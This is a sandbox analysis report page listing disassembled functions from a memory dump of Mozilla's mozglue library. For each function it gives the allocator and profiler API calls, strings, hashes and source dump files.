String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: d5ee052c755268a71fd748a80f3ed1bfb4446bcdc1a71168d080366248a21c6f
Instruction ID: a77933b03ce398a43db769f141f094cabf29b19753b8d9c266e92396d72fd126
Opcode Fuzzy Hash: d5ee052c755268a71fd748a80f3ed1bfb4446bcdc1a71168d080366248a21c6f
Instruction Fuzzy Hash: 56A2CD72A146019FD708CF28C540715BFE2FF86724F19C6ADE8698B3A2D779E845CB81

Function 6BF3D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6BF3D904
LeaveCriticalSection.KERNEL32(?), ref: 6BF3D971
memset.VCRUNTIME140(?,00000000,?), ref: 6BF3D97B
LeaveCriticalSection.KERNEL32(?), ref: 6BF3E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF3E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF3E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF3E315
AcquireSRWLockExclusive.KERNEL32(6BF9E804), ref: 6BF3E37C
GetSystemInfo.KERNEL32(?), ref: 6BF3E3C7
__Init_thread_footer.LIBCMT ref: 6BF3E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6BF9E810,00000040), ref: 6BF3E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E7B8,00001388), ref: 6BF3E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E744,00001388), ref: 6BF3E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E784,00001388), ref: 6BF3E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E7DC,00001388), ref: 6BF3E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E768,00001388), ref: 6BF3E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6BF3E52E
ReleaseSRWLockExclusive.KERNEL32(6BF9E804), ref: 6BF3E54F

Part of subcall function 6BF2D960: EnterCriticalSection.KERNEL32(?), ref: 6BF2D999
Part of subcall function 6BF2D960: EnterCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF2DA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6BF3E6DD
Compile-time page size does not divide the runtime one., xrefs: 6BF3E621
MOZ_CRASH(), xrefs: 6BF3E62B
<jemalloc>, xrefs: 6BF3E61C, 6BF3E6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6BF3E560, 6BF3E58A, 6BF3E5A5
MALLOC_OPTIONS, xrefs: 6BF3E3FF

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 6899db84c4db6d2c8dcb245109533f2ef3e327783e78618d4b9026f3977bbee5
Instruction ID: 555960809d32aea3be7cc004ca7407f05f00a747a34db3355848abb225316bb9
Opcode Fuzzy Hash: 6899db84c4db6d2c8dcb245109533f2ef3e327783e78618d4b9026f3977bbee5
Instruction Fuzzy Hash: DF92BD73A246218FD704CF28C580715BBE1BF86724F1986ADE869CB3A1D339E845CBD1

Function 6BF2CAB0 Relevance: 46.6, APIs: 20, Strings: 6, Instructions: 1098COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6BF2CB49
LeaveCriticalSection.KERNEL32(?), ref: 6BF2CBB6
LeaveCriticalSection.KERNEL32(?), ref: 6BF2D151
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF2D157
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF2D177
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF2D184
AcquireSRWLockExclusive.KERNEL32(6BF9E804), ref: 6BF2D1EC
GetSystemInfo.KERNEL32(?), ref: 6BF2D237
__Init_thread_footer.LIBCMT ref: 6BF2D24A
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6BF9E810,00000040), ref: 6BF2D274
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E7B8,00001388), ref: 6BF2D2DD
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E744,00001388), ref: 6BF2D2F3
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E784,00001388), ref: 6BF2D319
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E7DC,00001388), ref: 6BF2D33A
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E768,00001388), ref: 6BF2D37C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6BF2D39E
ReleaseSRWLockExclusive.KERNEL32(6BF9E804), ref: 6BF2D3BF

Part of subcall function 6BF2D960: EnterCriticalSection.KERNEL32(?), ref: 6BF2D999
Part of subcall function 6BF2D960: EnterCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF2DA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6BF2D4D1
Compile-time page size does not divide the runtime one., xrefs: 6BF2D415
MOZ_CRASH(), xrefs: 6BF2D41F
<jemalloc>, xrefs: 6BF2D410, 6BF2D4C0
MOZ_RELEASE_ASSERT(mNode), xrefs: 6BF2D52E, 6BF2D907, 6BF2D922
MALLOC_OPTIONS, xrefs: 6BF2D26F

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errnomemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3908130931-429003945
Opcode ID: 911f6d3578fa3ef2a19f058a2f6304629cf0bac8db3cac164ba14f37696757e8
Instruction ID: cd9114695e835dcddb2c84528782d2d8567c0a429c642828483c414dfb962992
Opcode Fuzzy Hash: 911f6d3578fa3ef2a19f058a2f6304629cf0bac8db3cac164ba14f37696757e8
Instruction Fuzzy Hash: A292CB77A546018FD708CF68C540715BBE2FF86724F19C6ADE8A98B3A1C779E841CB81

Function 6BF2D960 Relevance: 41.6, APIs: 22, Strings: 4, Instructions: 2648memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6BF2D999
EnterCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF2DA13
LeaveCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF2DB51
VirtualAlloc.KERNEL32 ref: 6BF2DB65
VirtualFree.KERNEL32(?,00000000,00008000), ref: 6BF2DB8F
VirtualAlloc.KERNEL32 ref: 6BF2DBB1
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6BF2DBD1
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 6BF2DBEC
LeaveCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF2E6B4
EnterCriticalSection.KERNEL32(6BF9E784), ref: 6BF2E6BF
LeaveCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF2E915
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6BF2E928
EnterCriticalSection.KERNEL32(6BF9E768), ref: 6BF2E946
LeaveCriticalSection.KERNEL32(6BF9E768), ref: 6BF2E96A
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6BF2EA04

Strings

MOZ_CRASH(), xrefs: 6BF2EE5B
<jemalloc>, xrefs: 6BF2E2A1, 6BF2E2B5, 6BF2E2F2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6BF2EF0B, 6BF2F0B4, 6BF2F5A4, 6BF2FCB8
: (malloc) Error in VirtualFree(), xrefs: 6BF2E2A6, 6BF2E2BA, 6BF2E2F7

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$Virtual$AllocEnterLeave$Free
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 300175890-3870822112
Opcode ID: ffb75382ad1e99bfcdcf105a04c50758d9845fa6d8003ec3ea9e15750b576c35
Instruction ID: e5f6667aa0e5b2d4cf09557c20f96636335a8384a37e0dff0e2e9e591cd938f2
Opcode Fuzzy Hash: ffb75382ad1e99bfcdcf105a04c50758d9845fa6d8003ec3ea9e15750b576c35
Instruction Fuzzy Hash: 44339172A24B018FD314CF68C590715BBE1BF85724F28C6ADE8698B3B5D779E841CB81

Function 6BF5E2F0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 466threadCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,6BF5E2A6), ref: 6BF5E35E
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?,?,6BF5E2A6), ref: 6BF5E386
GetCurrentThreadId.KERNEL32 ref: 6BF5E3E4
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6BF5E4AB
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5E4F5
GetCurrentThreadId.KERNEL32 ref: 6BF5E577
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5E584
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BF5E8A6

Part of subcall function 6BF1B7A0: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6BF1B7CF
Part of subcall function 6BF1B7A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6BF1B808

Part of subcall function 6BF6B800: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000000,6BF90FB6,00000000,?,?,6BF5E69E), ref: 6BF6B830

memset.VCRUNTIME140(?,00000000,00000000), ref: 6BF5E6DA

Part of subcall function 6BF6B8B0: memset.VCRUNTIME140(00000000,00000000,00000000,80000000), ref: 6BF6B916
Part of subcall function 6BF6B8B0: free.MOZGLUE(00000000,?,?,80000000), ref: 6BF6B94A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BF5E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF5E883

Strings

MOZ_PROFILER_STARTUP, xrefs: 6BF5E5A1, 6BF5E5CC, 6BF5E5FF, 6BF5E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6BF5E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6BF5E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6BF5E722, 6BF5E750, 6BF5E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6BF5E826, 6BF5E850

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLockfree$memset$AcquireCurrentReleaseThreadXbad_function_call@std@@$?vprint@PrintfTarget@mozilla@@__stdio_common_vsprintfmemcpy
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 2698983630-53385798
Opcode ID: ca9219164a150e90b33c34b4063488e64c6807119beb020293f28b4d3d79b260
Instruction ID: e945af1998388e418a3988b6609264e5bac611eb419340fe153adf43cfd22cf9
Opcode Fuzzy Hash: ca9219164a150e90b33c34b4063488e64c6807119beb020293f28b4d3d79b260
Instruction Fuzzy Hash: 22029B76A102059FCB14DF28C480B6ABBF5FF89304F00496CE89A97361DB38E959CB91

Function 6BF82AB0 Relevance: 31.4, APIs: 19, Instructions: 7600COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6BF85559
memset.VCRUNTIME140(00000001,000000FF,80808082), ref: 6BF85733
memcpy.VCRUNTIME140(00000001,?,?), ref: 6BF88323
memcpy.VCRUNTIME140(?,?,00040020), ref: 6BF88356
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6BF883D9

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memcpymemset$malloc
String ID:
API String ID: 3674098821-0
Opcode ID: 6b289a3fdc5992f55ce0ae6972b41319c54f070cb9dec840e50737c41517462e
Instruction ID: 6c01c85cc8fef59a3e46cd480100702fcbb2613508f4b2a1110cc3b067024fa5
Opcode Fuzzy Hash: 6b289a3fdc5992f55ce0ae6972b41319c54f070cb9dec840e50737c41517462e
Instruction Fuzzy Hash: 9AE30972E042298FCB14CFA8C8906DDF7B2BF89314F1581A9D949AB365D734AD85CF90

Function 6BF2FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF2FF81
LeaveCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF3022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6BF30240
EnterCriticalSection.KERNEL32(6BF9E768), ref: 6BF3025B
LeaveCriticalSection.KERNEL32(6BF9E768), ref: 6BF3027B

Strings

MOZ_CRASH(), xrefs: 6BF30CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6BF2FE99, 6BF2FEB7, 6BF2FED3, 6BF30DB8, 6BF30DD3, 6BF319B4, 6BF31A10

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 859e7e9bfd45ceba1e7542a8c461df27c6e96701c57db9deb63e30f80d259b3c
Instruction ID: 591aed6fabf5d3ff9914b327cda0fb4c9bdf5606198535995f54717596acd4c1
Opcode Fuzzy Hash: 859e7e9bfd45ceba1e7542a8c461df27c6e96701c57db9deb63e30f80d259b3c
Instruction Fuzzy Hash: 71B2BE72A047218FD714CF28C590716BBE1BF85724F18C6ADE96ACB3A5C778E845CB81

Function 6BF44AA0 Relevance: 21.8, APIs: 16, Instructions: 1805COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00004014), ref: 6BF44ACE
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6BF44E81
memcpy.VCRUNTIME140(?,?,?), ref: 6BF44EC7

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: ec6bd58774f70af802ac8a9e24f674dd9a38399e1bd84c3bf8050c19bf0a7d3f
Instruction ID: 29cc829e8e94323252bb1b6b14afee5ad083edf8755f6dd161e8b077f13c6cc4
Opcode Fuzzy Hash: ec6bd58774f70af802ac8a9e24f674dd9a38399e1bd84c3bf8050c19bf0a7d3f
Instruction Fuzzy Hash: 9CF26D72E0421ACFCB14CFA8C8906EDBBB2FF89310F144269D955BB366D735A945CB90

Function 6BF64820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6BF64DB8, 6BF64DD8
-%llu, xrefs: 6BF64825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6BF64CAF
ProfileBuffer parse error: %s, xrefs: 6BF64DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6BF64D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6BF64D65
schema, xrefs: 6BF648C1
data, xrefs: 6BF649B4

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: 1a2505eaaf42bec6a770d0baf99f8388276fd2c5d1a77b61da1149d4e2e68b17
Instruction ID: 69d8c14755c03fd671a5afd40fcd67a7ce93dd45e1f87c1b97fb978a80df4460
Opcode Fuzzy Hash: 1a2505eaaf42bec6a770d0baf99f8388276fd2c5d1a77b61da1149d4e2e68b17
Instruction Fuzzy Hash: D4722D76914B858BD322DF34C45135BF7F5AFDA384F108B1EE8896B221EB749486CB42

Function 6BF27810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9E744), ref: 6BF27885
LeaveCriticalSection.KERNEL32(6BF9E744), ref: 6BF278A5
EnterCriticalSection.KERNEL32(6BF9E784), ref: 6BF278AD
LeaveCriticalSection.KERNEL32(6BF9E784), ref: 6BF278CD
EnterCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF278D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6BF278E9
EnterCriticalSection.KERNEL32(00000000), ref: 6BF2795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6BF279BB
LeaveCriticalSection.KERNEL32(?), ref: 6BF27BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6BF27C82
LeaveCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF27CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6BF27DAF

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 64662ce68b0e6741a2eb369db31cd788f4b84dfc27fbfa047fc84aca45fa7602
Instruction ID: 1570693342aed7cf8e95d27c8ab6d1cb6f8bb15a8ebc408ebee6a14f56e344a4
Opcode Fuzzy Hash: 64662ce68b0e6741a2eb369db31cd788f4b84dfc27fbfa047fc84aca45fa7602
Instruction Fuzzy Hash: 92027E32E5121A8FDB54CF69C984799B7B5FF88314F1582EAD809A7321D734AE91CF80

Function 6BF122A0 Relevance: 14.6, APIs: 4, Strings: 5, Instructions: 1086COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6BF31A70), ref: 6BF122E1
memset.VCRUNTIME140(?,000000E5,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF12327
LeaveCriticalSection.KERNEL32(?), ref: 6BF123AE
memset.VCRUNTIME140(?,000000E5,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF1259E

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6BF12FD0
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6BF12F91
MOZ_RELEASE_ASSERT(mNode), xrefs: 6BF12F74, 6BF13015, 6BF13030
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6BF12FA6
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6BF12FBB

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeave
String ID: MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 1254101903-1470650218
Opcode ID: 4d3d3a469760107cf784545a59d23d87a7a21d81dacb7c84902fab220612c26a
Instruction ID: a0e7a171ee1cf8dce5c25e06ac1eff7987c3d9b9a0292e81d9089f577b526cf4
Opcode Fuzzy Hash: 4d3d3a469760107cf784545a59d23d87a7a21d81dacb7c84902fab220612c26a
Instruction Fuzzy Hash: CB926F73A197018FD714CF68C540605FBE1BF86724F19CAADE8699B3A1D37AE841CB81

Function 6BF55190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF551DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF5529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6BF552FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF5536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF553F7

Part of subcall function 6BF4AB89: EnterCriticalSection.KERNEL32(6BF9E370,?,?,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284), ref: 6BF4AB94
Part of subcall function 6BF4AB89: LeaveCriticalSection.KERNEL32(6BF9E370,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284,?,?,6BF356F6), ref: 6BF4ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6BF556C3
__Init_thread_footer.LIBCMT ref: 6BF556E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6BF556BE

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

